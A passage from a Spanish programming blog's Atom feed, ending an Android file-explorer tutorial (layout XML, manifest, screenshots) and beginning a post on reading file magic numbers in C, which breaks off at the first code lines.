        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_alignParentLeft&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;true&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_alignParentTop&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;true&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_marginTop&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;10dp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;maxHeight&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;5dp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;maxWidth&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;5dp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@drawable/generic256&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/textViewName&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_width&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_height&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_alignTop&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/imageViewIcon&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_toRightOf&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/imageViewIcon&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lines&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;1&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;textStyle&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;bold&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TextView&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/textViewPath&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_width&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_height&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_alignBottom&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/imageViewIcon&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;layout_alignLeft&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/textViewName&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lines&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;1&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;RelativeLayout&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Por ultimo necesitamos Modificar el Manifiest,necesitamos añadir el Activity de exploración y añadir el permiso de leer la memoria:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;xml&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;1.0&quot;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;encoding&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;manifest&lt;/span&gt; &lt;span style=&quot;color: #f57900;&quot;&gt;xmlns:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;android&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;com.itimetux.timeexplorer&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;versionCode&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;1&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;versionName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;1.0&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;sdk&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;minSdkVersion&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;8&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;targetSdkVersion&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;21&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;permission&lt;/span&gt; &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;android.permission.READ_EXTERNAL_STORAGE&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;
    
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;application&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;allowBackup&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;true&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;icon&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@drawable/ic_launcher&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;theme&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@style/AppTheme&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;activity&lt;/span&gt;
            &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;.MainActivity&quot;&lt;/span&gt;
            &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;action&lt;/span&gt; &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;android.intent.action.MAIN&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

                &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;category&lt;/span&gt; &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;android.intent.category.LAUNCHER&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;activity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
         &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;activity&lt;/span&gt;
            &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;.Explorador&quot;&lt;/span&gt;
            &lt;span style=&quot;color: #f57900;&quot;&gt;android:&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;activity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;application&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;manifest&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;También para que funcione necesitamos tener soporte para ActionBarActivity v7,esto es largo de explicar en este tutorial así que pueden pedir ayuda en google.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Y listo asi queda:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx44o5lg8YV2CzuUjhQGKCsAyeFHOGZB84fj6nDS7u_8pEM7RbK2cxv7sidIqA2BHG0yN4FsfVZooH93pGgn46J9zdpnFudXSf7D9h-OqlXcGx8GCFydZC8R833oCInaXqcfZVnzqW8J40/s1600/explorer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx44o5lg8YV2CzuUjhQGKCsAyeFHOGZB84fj6nDS7u_8pEM7RbK2cxv7sidIqA2BHG0yN4FsfVZooH93pGgn46J9zdpnFudXSf7D9h-OqlXcGx8GCFydZC8R833oCInaXqcfZVnzqW8J40/s1600/explorer.png&quot; height=&quot;320&quot; width=&quot;179&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqDGUs3pplHUGaWyHEynxlNHxMWhsZFZFnBjjB-Dnbvh9Ws4wTd8n7NCbkHjFUqIGjB35Av7uF36g2Qc5KxxKd0Y5womG58cCEzBJe1PbcTdCbdS1-K8VDDgrtdc8LXi2hK6MhPMlOW-n9/s1600/explorer2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqDGUs3pplHUGaWyHEynxlNHxMWhsZFZFnBjjB-Dnbvh9Ws4wTd8n7NCbkHjFUqIGjB35Av7uF36g2Qc5KxxKd0Y5womG58cCEzBJe1PbcTdCbdS1-K8VDDgrtdc8LXi2hK6MhPMlOW-n9/s1600/explorer2.png&quot; height=&quot;320&quot; width=&quot;179&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCeEirX7-PX4QMa5gSi7oCPsunJsWzO9kndcWS9B-zRpBydNfy29-K8-em_RfjYIY-48MStqfg8PsDhZ9E61TtgkjuZwnhVAiEce4BjHKHVuRz2W7wFpkgmfvtJxLBrUxoV9b35Ni5u06s/s1600/explorer3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCeEirX7-PX4QMa5gSi7oCPsunJsWzO9kndcWS9B-zRpBydNfy29-K8-em_RfjYIY-48MStqfg8PsDhZ9E61TtgkjuZwnhVAiEce4BjHKHVuRz2W7wFpkgmfvtJxLBrUxoV9b35Ni5u06s/s1600/explorer3.png&quot; height=&quot;320&quot; width=&quot;179&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Eso es todo :D</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/5131755446457859869/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/02/crear-un-explorador-de-archivos-android.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5131755446457859869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5131755446457859869'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/02/crear-un-explorador-de-archivos-android.html' title='Crear un explorador de Archivos Android'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYNFgi2tBVOWscL1O3wzcjIAo8hiXI-Ds8UauWvL-a2n4WckL1bDW795aDNSn7lRROZpIb3ZJcr6yUC5z9aka9y3lEiBWNLLBbWuyYdHfYu1uBqon5A44xzVYf71LWJBqY3lmlKm6hKK5/s72-c/sd+android.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-187196978272239460</id><published>2015-02-11T13:44:00.000-06:00</published><updated>2015-02-11T13:44:55.569-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="programación"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como leer Numeros Magicos con C (file signatures)</title><content type='html'>En esta ocasión aprenderemos a leer los números mágicos de un archivo,esto funciona para saber el tipo de archivo de un archivo,si así como suena ya que algunas ocasiones podemos deducir el tipo de archivo solo por su extension,por ejemplo podemos tener una imagen con este nombre:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;imagen.png&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Pero que tal si es formato .jpg o incluso un vídeo o audio,esto no es muy importante,para el usuario,pero a la hora de programar algo de bajo nivel o incluso de nivel usuario,por ejemplo una GUI si no seleccionamos el archivo correcto tendríamos un error,por ejemplo un reproductor de música o vídeo que le mandemos una imagen como ruta,esto causaría el cierre de la aplicación o en sistemas débiles el congelamiento de todo el sistema.&lt;br /&gt;
&lt;br /&gt;
Bueno también en ocasiones tenemos archivos sin extensión,con el nombre por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;archivo&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
En Unix si tiene permisos de ejecución lo mas seguro es que sea un programa,pero en ocasiones son archivos multimedia,como dije el usuario no se debe preocupar por esto ya que si tienen un explorador potente como por ejemplo Dolphin de KDE el lee los Magic Numbers y si tenemos una imagen sin extensión la detecta:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLC3RAabuVr9TWIFVbZkHlzpN2FbY6TAxMiEfXbM-ggLitzHzWvdH4tHjWZqJDFpckgogcfcGb1jGcHGmMGTMdiNL4LP3mjMuDEnPcSIxuTPisGd-Bi5PmGBUc2rqCGTQBsuZRx_jA-0k/s1600/linux+numbers.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLC3RAabuVr9TWIFVbZkHlzpN2FbY6TAxMiEfXbM-ggLitzHzWvdH4tHjWZqJDFpckgogcfcGb1jGcHGmMGTMdiNL4LP3mjMuDEnPcSIxuTPisGd-Bi5PmGBUc2rqCGTQBsuZRx_jA-0k/s1600/linux+numbers.png&quot; height=&quot;216&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como vemos detecta los archivos,pero si quisiéramos crear un explorador necesitaríamos usar números mágicos y no filtro por extensión.&lt;br /&gt;
&lt;br /&gt;
En esta ocasión vamos a hacer este trabajo usando C,ya que lo vamos a usar en el sistema,si lo quisiéramos usar por ejemplo en Android lo podemos hacer en Java o usando el NDK.&lt;br /&gt;
&lt;br /&gt;
Bien vamos a leer el archivo en modo binario y vamos a leer los primeros 8 bytes que serian 8 char,los primeros 8 char del archivo,luego los vamos a imprimir en pantalla,hay caracteres Hex que no se pueden imprimir asi que solo imprimiremos los que se puedan.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;ctype.h&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#define BYTES 8 // Numero de bytes&lt;/span&gt;

